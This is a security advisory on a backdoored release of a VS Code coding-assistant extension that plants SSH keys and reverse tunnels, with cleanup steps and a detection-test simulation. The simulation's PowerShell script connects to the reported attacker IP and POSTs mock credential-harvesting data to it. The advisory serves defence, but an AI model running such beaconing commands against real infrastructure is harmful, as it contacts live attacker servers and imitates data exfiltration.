Claude Code Extension Compromise: Security Advisory

Summary

A backdoored release of the official Claude Code for VS Code extension, version 2.1.313, was identified on the Cursor Marketplace. The malware establishes a persistent SSH backdoor across macOS, Linux, and Windows by modifying authorized_keys and creating reverse SSH tunnels. It also performs host reconnaissance to discover sensitive environment variables and potentially exposed credentials.

Investigation

Phorion identified an injected IIFE inside the minified extension bundle that executes immediately when the extension loads. The investigation showed that the malware attempts to enable SSH services and uses specific Ed25519 keys for victim authentication and reverse tunnel establishment. Researchers also identified implementation flaws in the macOS and Windows logic that may limit its ability to enable services without existing privileges.

Mitigation

Organizations should immediately identify and remove Claude Code for VS Code extension version 2.1.313. On macOS, users should unload and delete the com.apple.sysmond.plist LaunchAgent. Security teams should also inspect SSH configurations and remove the svc-telemetry public key from affected authorized_keys files.

Response

When compromise is detected, terminate active tunnel processes, including detached shell retry loops and ssh or autossh processes connecting to 134.209.82.225. Remove persistence artifacts including cron entries, scheduled tasks, and hidden scripts stored in .config directories. Critically, rotate all credentials and API tokens that were exposed through environment variables on the affected host.

Simulation Execution

• Attack Narrative & Commands: The adversary, having achieved initial access, aims to establish a persistent C2 tunnel. They initiate an SSH connection to 134.209.82.225 on port 22 to create a secure tunnel for lateral movement. Immediately after, the malicious agent executes an HTTP POST request to http://134.209.82.225:8099 containing encoded system information. This specific sequence of “SSH + HTTP POST to the same IP” is designed to trigger the rule’s condition: selection_ssh and selection_http.

• Regression Test Script:

  # Simulation Script: Triggering Suspicious SSH and HTTP POST Activity
  $TargetIP = "134.209.82.225"
  $SSHPort = 22
  $HTTPPort = 8099
  
  Write-Host "[+] Starting Simulation..." -ForegroundColor Cyan
  
  # Step 1: Simulate SSH Connection (using Test-NetConnection to generate Sysmon ID 3)
  Write-Host "[+] Step 1: Simulating outbound SSH connection to $TargetIP on port $SSHPort"
  Test-NetConnection -ComputerName $TargetIP -Port $SSHPort -ErrorAction SilentlyContinue
  
  # Step 2: Simulate HTTP POST request (using Invoke-WebRequest)
  Write-Host "[+] Step 2: Simulating HTTP POST beaconing to $TargetIP on port $HTTPPort"
  try {
      # We use a short timeout to prevent the script from hanging if the IP is unreachable
      $payload = @{ data = "simulated_credential_harvesting_data" }
      Invoke-WebRequest -Uri "http://$($TargetIP):$($HTTPPort)" -Method POST -Body ($payload | ConvertTo-Json) -TimeoutSec 5
  } catch {
      Write-Host "[!] HTTP Request failed (Expected if IP is offline), but telemetry should have been generated." -ForegroundColor Yellow
  }
  
  Write-Host "[+] Simulation Commands Executed." -ForegroundColor Green

• Cleanup Commands:

  # No persistent changes were made to the system during this simulation.
  # No files were created, and no services were actually installed.
  Write-Host "[+] Cleanup complete. No artifacts to remove." -ForegroundColor Green